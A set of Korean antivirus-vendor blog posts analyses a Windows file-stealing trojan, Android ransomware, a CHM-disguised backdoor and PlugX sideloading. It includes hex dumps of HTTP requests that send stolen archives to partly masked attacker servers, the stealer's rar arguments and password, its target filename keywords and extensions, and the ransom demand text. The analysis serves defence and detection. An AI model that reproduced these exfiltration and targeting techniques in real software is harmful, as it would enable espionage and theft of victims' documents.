- "C:\Documents and Settings\UserProfile\Local Settings\Temp\rar.exe"

 

"rar.exe" 파일을 다운로드 받는 곳의 주소는 아래와 같고, 전송(send) 하는 데이터의 내용은 다음과 같다.

 

- k??32.k??.org/file/lecture/list.php (다운로드 주소)

 

 0081CF70  50 4F 53 54 20 2F 66 69 6C 65 2F 6C 65 63 74 75  POST /file/lectu
 0081CF80  72 65 2F 6C 69 73 74 2E 70 68 70 20 48 54 54 50  re/list.php HTTP
 0081CF90  2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 6B ?? ?? 33  /1.1..Host: k??3
 0081CFA0  32 2E 6B ?? ?? 2E 6F 72 67 3A 38 30 0D 0A 43 6F  2.k??.org:80..Co
 0081CFB0  6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 70 70 6C  ntent-type: appl
 0081CFC0  69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
 0081CFD0  72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
 0081CFE0  6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 31  ontent-Length: 1
 0081CFF0  31 0D 0A 0D 0A 66 66 3D 33 39 38 37 32 39 33 38  1....ff=39872938
 0081D000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 

 

서버로 부터 정상적으로 응답 데이터를 받을 경우, 아래와 같은 형태를 갖는다. 데이터 내용 중, 'MZ'로 시작하는 부분이 "rar.exe"의 시작을 나타낸다. 분석 당시 "rar.exe" (md5:070d15cd95c14784606ecaa88657551e) 파일의 버전은 5.1.0 로 확인되었다.

 

 0081D7C0  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
 0081D7D0  0A 44 61 74 65 3A 20 57 65 64 2C 20 31 39 20 4E  .Date: Wed, 19 N
 0081D7E0  6F 76 20 32 30 31 34 20 31 30 3A 32 36 3A 32 37  ov 2014 10:26:27
 0081D7F0  20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 41 70   GMT..Server: Ap
 0081D800  61 63 68 65 0D 0A 58 2D 50 6F 77 65 72 65 64 2D  ache..X-Powered-
 0081D810  42 79 3A 20 50 48 50 2F 34 2E 34 2E 39 0D 0A 43  By: PHP/4.4.9..C
 0081D820  6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69  ontent-Dispositi
 0081D830  6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 20  on: attachment;
 0081D840  66 69 6C 65 6E 61 6D 65 3D 22 62 62 73 5F 77 72  filename="bbs_wr
 0081D850  69 74 65 2E 70 68 70 22 0D 0A 4C 61 73 74 2D 4D  ite.php"..Last-M
 0081D860  6F 64 69 66 69 65 64 3A 20 54 68 75 2C 20 31 36  odified: Thu, 16
 0081D870  20 4F 63 74 20 32 30 31 34 20 31 30 3A 35 37 3A   Oct 2014 10:57:
 0081D880  34 39 20 47 4D 54 0D 0A 41 63 63 65 70 74 2D 52  49 GMT..Accept-R
 0081D890  61 6E 67 65 73 3A 20 62 79 74 65 73 0D 0A 43 61  anges: bytes..Ca
 0081D8A0  63 68 65 2D 63 6F 6E 74 72 6F 6C 3A 20 70 72 69  che-control: pri
 0081D8B0  76 61 74 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E  vate..Connection
 0081D8C0  3A 20 43 6C 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74  : Close..Content
 0081D8D0  2D 4C 65 6E 67 74 68 3A 20 34 39 30 30 37 32 0D  -Length: 490072.
 0081D8E0  0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61  .Content-Type: a
 0081D8F0  70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74  pplication/octet
 0081D900  2D 73 74 72 65 61 6D 0D 0A 0D 0A 4D 5A 90 00 03  -stream....MZ?
 0081D910  00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00  ........?...
 0081D920  00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00  ...@............
 0081D930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 0081D940  00 00 00 00 00 00 00 E0 00 00 00 0E 1F BA 0E 00  .......?..?. 
 0081D950  B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72  ???L?This pr   
 0081D960  6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20  ogram cannot be
 0081D970  72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E  run in DOS mode.

 

다운로드 실패 시, 10분간의 Sleep() 후, 재시도를 한다. 다운로드가 성공적으로 이루어진 경우, %TEMP% 폴더에 "rar.exe" 파일을 Write 한다. 다운로드가 성공적으로 이루어졌는지에 대한 검증은 서버로 부터 받은 데이터를 통해 이루어지며, 아래의 3가지 과정을 거친다.

 

(1) "HTTP/1.1 200 OK" 문자열 존재해야 함.

 

(2) "error" 문자열이 없어야 함.

 

(3) CR,LF,CR,LF (0x0D, 0x0A, 0x0D, 0x0A) 다음("MZ")부터 버퍼 끝까지의 크기와 "Content-Length: "에 명시된 값("490072")과의 비교를 수행. (만약, 명시된 값과 동일하지 않을 경우, "rar.exe" 삭제 후, 다운로드 과정을 재 시도)

 

 

[2] "ebgEC50.bat" 파일생성

 

"rar.exe" 파일을 다운로드 한 후, 악성코드는 %TEMP% 폴더에 "ebgEC50.bat" 파일을 생성 및 실행하는 기능을 수행한다. BAT 파일의 내용에 해당하는 데이터는 악성코드 내부에 존재하며, 암호화된 형태로 저장되어 있다. BAT 파일의 내용 뿐 아니라 악성코드 내부에는 중요한 문자열 정보가 암호화된 형태로 존재하며, 아래와 같은 과정을 통해 만들어지는 특징을 갖는다.

 

다음은 악성코드 내부에서 "r.a.r...e.x.e" 문자열 정보를 만들어 내는 과정을 나타낸다. 0xB5 값을 초기값으로 하여, 특정 값과 ADD/SUB 연산을 통해 그 다음 암호화된 값을 생성한다.

 

 

위의 코드를 통해 최초 생성된 암호화된 데이터는 다음과 같다.

(0xB5 0x00 0xA6 0x00 0xB5 0x00 0xE9 0x00 0xA2 0x00 0xBF 0x00 0xA2 0x00 0x00 0x00)

 

이렇게 생성된 값은 아래의 XOR 과정을 통해 최종 복호화가 이루어진다. (키값은 0xC7, 크기는 0x07)

 

 

위의 코드를 통해 최종 생성된 복호화된 데이터는 다음과 같다. ("r.a.r...e.x.e")

(0x72 0x00 0x61 0x00 0x72 0x00 0x2E 0x00 0x65 0x00 0x78 0x00 0x65 0x00 0x00 0x00)

 

악성코드 내부에 이러한 방식으로 암호화되어 저장된 문자열 정보는 총 19개이며, 복호화 방식은 1바이트 XOR (18개)와 1바이트 ADD/SUB 형태(1개)가 존재한다.

 

아래의 [표-1]~[표-19]는 복호화 과정 후, 생성된 문자열 정보를 나타낸다.

 

 

 

"ebgEC50.bat" 파일의 내용은 [표-10]에 의해 만들어지며, 감염 시스템의 주요 문서와 특정 확장자 파일들에 대한 유출기능을 갖는다.

 

"ebgEC50.bat" 파일은 구동 시, %TEMP%\rar.exe 파일을 실행하며, "rar.exe" 파일에서 제공하는 다양한 인자값들을 사용하였다.  아래는 다양한 인자값들 중 악성코드에서 사용한 인자값들을 나타낸다.

 

 

"%TEMP%\rar.exe" a "%temp%\NETUSER.001" 를 통해, 최종 압축된 파일은 "NETUSER.001" 임을 알 수 있다. 또한, "%USERPROFILE%" 경로와 'a', 'b', 'c' 드라이브를 제외한 모든 드라이브의 파일들이 검색 대상임을 알 수 있다. (d:\ e:\ f:\ g:\ h:\ i:\ j:\ k:\ l:\ m:\ n:\ o:\ p:\ q:\ r:\ s:\ t:\ u:\ v:\ w:\ x:\ y:\ z:\)

 

-hp1qaz@WSX3edc$RFV -r -v2g -vn -m5 -y -ep3 -ta2005 -sl2048576 를 통해 최종 압축된 파일에 대한 암호가 '1qaz@WSX3edc$RFV' 로 설정되며, 2005년 이후 생성된 파일 및 2048576(2M) 보다 작은 크기의 파일들이 유출대상임을 알 수 있다.

 

또한, 파일명에 대한 필터조건으로 특정 이름을 갖는 파일들을 선별하여 유출하도록 하였으며, 파일이름에 상관없이 특정 확장자를 갖는 파일들에 대해서도 유출이 이루어진다.

 

(1) 확장자 필터조건

*.lnk, *.hwp, *.doc, *.docx, *.xls, *.xlsx, *.amr, *.zip, *.eml, *.alz, *.rar, *.egg

 

(2) 파일이름 필터조건

*암호*, *비번*, *비밀*, *보안*, *정보*, *소식*, *자료*, *분석*, *관리*, *수집*, *녹취*, *대화*, *녹음*, *정세*, *계획*, *보고*, *출장*, *이력*, *프로포절*, *협조자*, *취재원*, *북핵*, *전략*, *전술*, *미사일*, *로케트*, *북핵*, *주소*, *명단*, *리스트*, *중국*, *심양*, *단동*, *연길*, *대련*, *베이징*, *북한*, *평양*, *회령*, *신의주*, *무산*, *청진*, *원산*, *개성*, *남포*, *만포*, *국경*, *내곡동*, *여의도*, *경비대*, *총정치국*, *보위*, *군단*, *사단*, *련대*, *대대*, *중대*, *소대*, *려단*, *하나원*, *기무*, *정보사*, *국정원*, *기구*, *국방*, *사령부*, *외교*, *통일*, *인권*, *동지*, *성통만사*, *탈북*, *이탈*, *겨레얼*, *전략*, *난민*, *서평*, *뉴포커스*, *새터민*, *mopas*, *엔케이*, *홈페*

 

아래의 그림은 "ebgEC50.bat" 수행 후, 생성된 "NETUSER.001" 파일을 압축해제 시, 폴더구조를 나타낸다. 각 드라이브 별로 파일들이 저장되어 있음을 알 수 있다.

 

 

 

 

[3] 압축파일(NETUSER.001) 전송

 

 공격자에게 전송되는 파일은 아래의 경로의 RAR 압축파일이다.

- C:\Documents and Settings\UserProfile\Local Settings\Temp\NETUSER.001

 

아래는 공격자에게 전송되는 데이터의 내용을 나타낸다.

 

  0080883C  50 4F 53 54 20 2F ?? ?? ?? ?? ?? ?? ?? ?? 2F 42   POST /????????/B
 0080884C  4F 41 52 44 2F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??   OARD/???????????
 0080885C  2F 31 34 30 36 2F 6C 69 73 74 2E 70 68 70 20 48   /1406/list.php H
 0080886C  54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 2D   TTP/1.1..Accept-
 0080887C  45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20   Encoding: gzip,
 0080888C  64 65 66 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67   deflate..User-Ag
 0080889C  65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30   ent: Mozilla/4.0
 008088AC  20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53    (compatible; MS
 008088BC  49 45 20 36 2E 30 3B 20 57 69 6E 64 6F 77 73 20   IE 6.0; Windows
 008088CC  4E 54 20 35 2E 31 3B 20 53 56 31 29 0D 0A 41 63   NT 5.1; SV1)..Ac
 008088DC  63 65 70 74 3A 20 69 6D 61 67 65 2F 67 69 66 2C   cept: image/gif,
 008088EC  20 69 6D 61 67 65 2F 78 2D 78 62 69 74 6D 61 70    image/x-xbitmap
 008088FC  2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D   , image/jpeg, im
 0080890C  61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70 6C 69   age/pjpeg, appli
 0080891C  63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B 77 61   cation/x-shockwa
 0080892C  76 65 2D 66 6C 61 73 68 2C 20 2A 2A 0D 0A 41 63   ve-flash, **..Ac
 0080893C  63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65   cept-Language: e
 0080894C  6E 2D 75 73 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79   n-us..Content-Ty
 0080895C  70 65 3A 20 6D 75 6C 74 69 70 61 72 74 2F 66 6F   pe: multipart/fo
 0080896C  72 6D 2D 64 61 74 61 3B 62 6F 75 6E 64 61 72 79   rm-data;boundary
 0080897C  3D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   =---------------
 0080898C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30 34   --------------04
 0080899C  65 32 38 30 30 30 30 35 64 63 62 0D 0A 48 6F 73   e2800005dcb..Hos
 008089AC  74 3A 20 63 ?? ?? 6A 65 6F 6E 2E 63 6F 6D 3A 38   t: c??jeon.com:8
 008089BC  30 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74   0..Content-Lengt
 008089CC  68 3A 20 31 30 34 38 39 32 34 0D 0A 43 6F 6E 6E   h: 1048924..Conn
 008089DC  65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69   ection: Keep-Ali
 008089EC  76 65 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F   ve..Cache-Contro
 008089FC  6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A 00   l: no-cache.....
 00808A0C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

아래의 전송하는 데이터 중, 붉은 색으로 표시한 부분은 감염 시스템의 MAC 주소이며, 이를 "id" 값으로 사용함을 알 수 있다.

 

 0080CD6C  0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ..--------------
 0080CD7C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080CD8C  2D 30 34 65 32 38 30 30 30 30 35 64 63 62 0D 0A   -04e2800005dcb.. 
 0080CD9C  43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74   Content-Disposit
 0080CDAC  69 6F 6E 3A 20 66 6F 72 6D 2D 64 61 74 61 3B 20   ion: form-data;
 0080CDBC  6E 61 6D 65 3D 22 69 64 22 0D 0A 0D 0A 30 30 31   name="id"....001
 0080CDCC  64 ?? ?? ?? 36 63 66 37 64 0D 0A 2D 2D 2D 2D 2D   d???6cf7d..-----
 0080CDDC  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080CDEC  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30 34 65 32 38 30   ----------04e280
 0080CDFC  30 30 30 35 64 63 62 2D 2D 0D 0A 00 00 00 00 00   0005dcb--....... 

 

아래의 전송하는 데이터를 통해 해당 악성코드 제작자가 중국인으로 추정된다. ("wenjian")

 

  0080861C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080862C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30   ---------------0
 0080863C  34 65 32 38 30 30 30 30 35 64 63 62 0D 0A 43 6F   4e2800005dcb..Co
 0080864C  6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F   ntent-Dispositio
 0080865C  6E 3A 20 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61   n: form-data; na
 0080866C  6D 65 3D 22 77 65 6E 6A 69 61 6E 22 3B 20 66 69   me="wenjian"; fi
 0080867C  6C 65 6E 61 6D 65 3D 22 43 3A 5C 44 4F 43 55 4D   lename="C:\DOCUM
 0080868C  45 7E 31 5C ?? ?? ?? ?? ?? ?? 5C 4C 4F 43 41 4C   E~1\??????\LOCAL
 0080869C  53 7E 31 5C 54 65 6D 70 5C 4E 45 54 55 53 45 52   S~1\Temp\NETUSER
 008086AC  2E 30 30 31 22 0D 0A 43 6F 6E 74 65 6E 74 2D 54   .001"..Content-T
 008086BC  79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E   ype: application
 008086CC  2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 0D   /octet-stream...
 008086DC  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

공격자에게 전송하는 NETUSER.001 파일은 최종 전송과정에서 0xAB로 XOR를 통해 암호화하여 전송된다. 또한, 서버로 부터 받은 데이터 중, 특정 문자열 확인을 통해 전송의 종료여부를 체크하는 것으로 추정된다. 아래는 분석당시 서버로 부터 전달받은 데이터를 나타낸다.

 

 0080CE7C  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D   HTTP/1.1 200 OK.
 0080CE8C  0A 44 61 74 65 3A 20 57 65 64 2C 20 31 39 20 4E   .Date: Wed, 19 N
 0080CE9C  6F 76 20 32 30 31 34 20 31 32 3A 30 31 3A 34 33   ov 2014 12:01:43
 0080CEAC  20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 4D 69    GMT..Server: Mi
 0080CEBC  63 72 6F 73 6F 66 74 2D 49 49 53 2F 35 2E 30 0D   crosoft-IIS/5.0.
 0080CECC  0A 58 2D 50 6F 77 65 72 65 64 2D 42 79 3A 20 50   .X-Powered-By: P
 0080CEDC  48 50 2F 35 2E 32 2E 31 37 0D 0A 43 6F 6E 74 65   HP/5.2.17..Conte
 0080CEEC  6E 74 2D 4C 65 6E 67 74 68 3A 20 36 0D 0A 4B 65   nt-Length: 6..Ke
 0080CEFC  65 70 2D 41 6C 69 76 65 3A 20 74 69 6D 65 6F 75   ep-Alive: timeou
 0080CF0C  74 3D 35 2C 20 6D 61 78 3D 31 30 30 0D 0A 43 6F   t=5, max=100..Co
 0080CF1C  6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41   nnection: Keep-A
 0080CF2C  6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79   live..Content-Ty
 0080CF3C  70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A 0D   pe: text/html...
 0080CF4C  0A 63 68 67 6F 6E 67 00 00 00 00 00 00 00 00 00   .chgong.........
 0080CF5C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

"rar.exe" 파일에 대한 다운로드를 성공적으로 수행했는지 여부를 체크한 것과 유사한 방식으로 서버로 부터 전달받은 버퍼 중, 특정 문자열 패턴의 존재여부를 체크한다.

 

(1) "HTTP/1.1 200 OK" 문자열이 존재해야 함.

 

(2) CR,LF,CR,LF (0x0D, 0x0A, 0x0D, 0x0A) 다음에 "sibai" 라는 문자열이 존재하는 지 체크.

 

모든 과정이 종료된 후, %TEMP% 폴더의 "NETUSER.001"과 "ebgEC50.bat"은 삭제된다.

 

 

[4] 분석파일들

 

(1) Isass.exe (md5: E60958951B83B52A328C4E4E2EB58C6C) - Trojan/Win32.Compfolder

(2) rar.exe (070D15CD95C14784606ECAA88657551E) - 정상파일

(3) ebgEC50.bat (md5: 0C256742B5A396CC4DD8BBAC7C69F556) - BAT/Filestealer

 

 

[5] 유사 파일들에 대한 PDB정보

 

(1)Isass.exe

- V3: Trojan/Win32.Compfolder

- md5: b0d0a27bcc9d6e6a549782e1f6a934ee

- PDB: F:\WorkingSource\First_Stage\CompressFolder\Release\CompressFolder.pdb

 

(2) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: ebd638798aa7920151f1fd3197403ef0

- PDB: F:\WorkingSource\First_Stage\svchost(excute exe)\Release\svchost.pdb

 

(3) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: 54758b6fafa545f09bf2fff82b3b343b

- PDB" F:\WorkingSource\SecondStage\svchost(service install)X86\Release\svchost.pdb

 

(4) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: 85d85a6075a04ae24fb5c0004405d548

- PDB: G:\MyCreateProject\MyActive\svchost(excute exe)\Release\svchost.pdb

 

(5) lsuss.exe

- V3: Trojan/Win32.Compfolder

- md5: 4c062c27bf2ff9ba71abd9682eb17c93

- PDB: F:\WorkingSource\Util\KeyLog\Release\Keylog.pdb

 

(6) USASS.EXE 

- V3: Trojan/Win32.Compfolder

- md5: 3bb9d56cb39d0422964f781d8d948cb8

- PDB: G:\MyProject\1st\CompressFolder\Release\CompressFolder.pdb

 

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

 

 요즘 유포되는 악성코드의 대부분은 금전적 이득을 목적으로 제작된다. 소액결제를 노린 'chest' 금융정보를 노린 'bankun' 등의 능동적 수익 모델과 랜섬웨어와 같은 입금을 기다리는 수동적인 모델이 있는데, 오늘 다루고자 하는 악성 앱은 후자의 경우에 속하는 모바일 랜섬웨어를 다루고자 한다.

 

국내의 경우에는, 아직 대부분 문서작업등을 PC에서 하고 있기 때문에 PC(Windows)보다 상대적으로 위협적이진 않다. 하지만 스마트 폰에 의해 만들어진 사진, 영상 등은 스마트 폰에서 생성되는 유일한 자료라고 본다면 그렇지 않을지도 모르겠다.

 

과거 ASEC Blog를 통하여 안드로이드 랜섬웨어인 ANDROID DEFENDER에 대해 다룬 적이 있다. 해당 악성 앱은 허위 감염 내용으로 금전적 이득을 취하려는 내용이었다.

 

ASEC Blog : http://asec.ahnlab.com/974 (안드로이드 랜섬웨어)

 

이번에는 SimpleLocker 라고 불리는 랜섬웨어에 대하여 살펴보겠다. 해당 악성 앱은 스마트 폰의 파일을 암호화하고 이를 통하여 금전적 이득을 취하려고 한다. 이런 모습은 Windows 기반의 랜섬웨어와 유사하다. 이 악성앱은 지난 5월경부터 꾸준히 발견되고 있다.

 

악성 앱이 사용한 아이콘을 비교하기 위해 몇 개의 아이콘을 확인해봤다. 안드로이드, iGO, Flash player의 아이콘을 사용함으로써 사용자를 속이기 위한 것으로 보인다.

 

[그림 1] 랜섬웨어의 아이콘

 

위 악성 앱(iGO아이콘)을 설치하는 과정에서 아래와 같은 권한과 휴대폰 관리자 권한을 요구한다. 앱을 설치하면 4PDA(iGO) 러시아 페이지를 보여준다.

 

[그림 2] SimpleLocker 설치

 

휴대폰 관리자를 활성화 할 경우 보여지는 페이지의 소스

[그림 3] 4pda 페이지 로딩 소스

 

악성 앱의 패키지명은 com.simplelocker 이며, Android 4.2 버전에 맞춰서 제작되었다.

 

Android 4.2, 4.2.2

17

JELLY_BEAN_MR1

[표 1] 악성 앱 Android 제작 버전

[그림 4] 악성 앱의 권한정보

 

악성 앱 설치 후에는 스마트폰의 디바이스 정보(IMEI)를 전송한다.

 

[그림 5] 디바이스 정보 전송

 

실제 전송되는 패킷을 살펴보면 아래와 같다.

[그림 6] 디바이스 정보 전송 패킷

 

이후 스마트폰에 저장된 문서, 이미지, 동영상 파일을 'jddlasssadxc322323sf074hr' 키 값으로 암호화한다.

 

또한, 암호화한 파일의 끝에 '.enc' 확장자를 추가하여 저장하며, 원본 파일은 삭제한다. 암호화 대상 파일은

'jpeg', 'jpg', 'png', 'bmp', 'gif', 'pdf', 'doc', 'docx', 'txt', 'avi', 'mkv', '3gp', 'mp4' 이다.

 

[그림 7] 암호화 대상 파일 리스트

 

암호화된 파일은 아래 그림과 같이 확장자가 추가되었다. 일반적으로 이미지(사진) 파일은 갤러리 앱으로 보게 되는데, [그림 8]과 같이 암호화된 경우에는 사진 목록에서 확인할 수 없게 된다.

 

[그림 8] 암호화된 파일

 

 추가적으로 Flash Player 아이콘으로 위장하고 com.common.weather 패키지명을 사용하는 랜섬웨어 악성 앱의 증상을 살펴보겠다. 스마트폰의 기기모델명, IMEI, 전화번호, 통신사, 국가 정보를 가져와 첫 화면에 표시하고, 불법 저작권 및 관리법 위반에 해당하므로 벌금을 내지 않을 경우 2~8년 동안 자유를 박탈하겠다고 협박한다.

 

[그림 9] 랜섬웨어 악성 앱 설치 화면

설명이 장황하지만, 랜섬웨어에 자주 등장하는 단어들이 보인다. 'FBI', 'pornography', 'card with $500' 요약하자면 잠긴 스마트폰을 풀고, 파일을 복호화 하고 싶으면 $500를 입금하고, 입금이 확인되면 미국 재무부에서 24시간 안에 차단을 해제해 주겠다는 내용이다.

 

"To unlock your device and avoid legal persecution to the maximum extent of the law, you are obligated to pay a fine of $500. Acceptable payment must be made through GreenDot MoneyPak. Load a MoneyPak card with $500 and enter the code below. MoneyPak cards can be found in most stores, gas stations and paypoints." (중략)

"As soon as the money arrives to the U.S. Department of the Treasury, your device will be unblocked in 24 hours."

 

[그림 10] FBI 를 사칭한 협박과 금전 요구

화면 중간에 스마트폰 사용자가 보이도록 카메라를 설정했다. 그리고 자신을 범죄자처럼 묘사했다.

 

"Your camera is used for gathering additional information for investigation. All the footage will be added to a criminal case."

 

대부분 랜섬웨어에 감염된 스마트폰은 사용자의 제어를 불가능하게 만든다. 다른 앱의 실행은 물론, 악성 앱 삭제를 할 수 없도록 여러 가지 방법을 사용한다. 이런 경우에는 스마트 폰을 "안전모드"로 부팅하여 "기기 관리자(휴대폰 관리자)"를 비활성화하여 삭제하면 된다.

 

제조사 별로 안전모드에 접근하는 방법은 다양하다. 사용자가 많은 2개 제조사의 안전모드 부팅 방법은 아래와 같다.

 

LG : 전원버튼 -> "전원끄기" 메뉴를 길게 누르고 있으면 안전모드 부팅 메시지가 보인다.

삼성 : 리부팅 시 통신사 로고가 나올 때 '메뉴' 버튼에 불이 들어오는데 이때 '메뉴'버튼을 누르고 있으면 안전모드로 부팅 된다.

 

기기관리자 권한을 획득한 악성 앱을 삭제하려면 아래의 순서로 조치하면 된다.

 

안전모드로 부팅 후, [설정] – [기기관리자(휴대폰 관리자)] 메뉴에서 악성 앱을 비활성화(체크해제)해준다.

다음으로 애플리케이션 목록에서 해당 앱을 제거하면 된다.

 

[그림 11] 기기관리자(휴대폰 관리자) 악성 앱의 권한(체크해제) 및 제거

 

 요즘은 간단한 작업이나 인터넷을 이용할 경우, PC보다 스마트폰을 이용하는 경우가 많아졌다. (2014년 7월 기준 스마트폰 가입자: 39,348,621명, 출처: 지식경제부 IT통계포털) 가입자의 증가와 더불어 악성 앱 역시 증가했다. 따라서 앱은 공식 마켓에서 다운로드 하여 설치하는 것이 상대적으로 안전하지만, 공식 마켓에도 악성 앱이 등록되어 있을 수 있어 평판 정보를 확인하고 설치하는 습관을 지녀야 한다. 무심코 문자에 포함된 URL을 클릭하다 보면 악성 앱이 설치될 수도 있기 때문에 안전성이 확인되지 않은 URL 및 앱은 설치는 하지 않도록 주의해야 한다. 또한, 모바일 전용 보안 앱(V3 모바일 등)이나 스미싱 탐지 앱(안랩 안전한 문자 등)을 설치하고, 자동 업데이트 설정으로 항상 최신 엔진을 유지하여 더욱 안전한 스마트폰 환경을 만들어야 한다.

 

V3 제품에서는 아래와 같이 진단이 가능하다.

 

<V3 제품군의 진단명>

Android-Trojan/Simplelock

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

 

 이번에 발견된 악성코드는 아래 [그림1]에서 보이는 것처럼, 국방표준종합정보시스템 VPN 사용자를 대상으로 유포된 것으로 추정된다. 이 악성코드는 Help 파일로 위장했으며, 위장한 CHM 파일에는 [표 1]과 같은 파일들이 포함되어있다.

 

 

 

/index.htm - 악성 파일을 로드

/제목 없음.jpg - 사용자를 속이기 위한 그림 파일

/msupdate.exe - 악성 파일

[표 1] CHM에 포함되어 있는 파일들

 

악성코드에 포함되어 있는 '제목 없음.jpg'의 내용은 아래와 같다.

[그림 1] CHM 실행 화면 (제목 없음. JPG)

처음 CHM 파일을 실행하면 [그림 2]와 같은 형식의 index.htm을 실행하게 되는데 이때 msupdate.exe가 실행된다.

 

[그림 2] object 태그를 이용하여 악성 파일(msupdate.exe) 실행

 

msupdate.exe는 리소스 영역에 [표 2]와 같이 DLL을 포함하고 있으며, 실행 시 해당 DLL을 'Application Management'라는 이름의 서비스로 등록시킨다. (서비스 메인 이름 'iamcoming')

 

[표 2] 리소스 영역에 포함하고 있는 DLL(위) & 해당 DLL을 서비스로 등록(아래)

 

등록된 DLL은 C&C인 express.xxxxxx.com: 80 (1x5.4x.2xx.1xx)와 통신하는데 사용자 컴퓨터 명과 IP 등의 시스템 정보를 수집하여 서버로 보내고 두 개의 스레드를 생성해 명령을 주고받는다. 이때의 패킷은 암호화되어 있는데 보낼 때에는 0x67 받을 때는 0x11 로 각각 XOR연산하여 보낸다.

 

[그림 3] 난독화된 패킷 (좌), 복호화 된 패킷(우)

 

해당 악성코드는 서버에서 받아온 명령(ipconfig /all, cd, dir 등)을 통해 PC에 있는 디렉터리 리스트나 IP 정보를 계속 유출하고 있었고, 서버에서 받아온 명령을 그대로 실행해서 더 많은 악성 행위가 이루어질 가능성이 있다. 따라서 메일로 오는 의심스러운 CHM 파일은 열어 보지 않는 등, 사용자의 각별한 주의가 필요하다.

 

 

V3 제품에서는 아래와 같이 진단 가능하다.

 

<V3 제품군의 진단명>

 

Dropper/Agent (2014.10.31.05)

Trojan/Win32.Backdoor (2014.10.30.03)

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

PlugX 형 악성코드는 지난 2012년 국내에 최초 발견되었으며, 발견 당시 APT 형태의 백도어 파일로 감염이 제한적으로 이루어졌으나, 최근에는 불특정 다수의 개인 사용자들을 대상으로 한 공격 시도가 발견되고 있어, 사용자의 주의가 요구된다. 

PlugX 형 악성코드는 '정상 프로그램(EXE)' + '악성 DLL 모듈' + '암호화된 데이터파일' 3가지가 조합된 형태로 배포된다. 악성코드 제작자는 정상 프로그램(EXE)이 실행 시 함께 구동하는 DLL 파일을 (파일명은 정상파일이나, 악성기능을 갖는) 악성파일로 제작하여 배포하고 있으며, 사용자가 정상파일(EXE)을 실행 시, 자동 로드되는 악성 DLL 파일에 의해 악의적인 기능이 수행되도록 한다.

또한, 함께 배포되는 데이터파일은 다양한 확장자 형태로 발견되고 있으며, 내부에는 2차 악성파일이 압축+암호화되어 존재한다. V3에서는 이처럼 정상파일의 동작 구조를 악용하여, 동작하는 악성코드를 PlugX 형태의 악성코드로 분류하고 있다. 

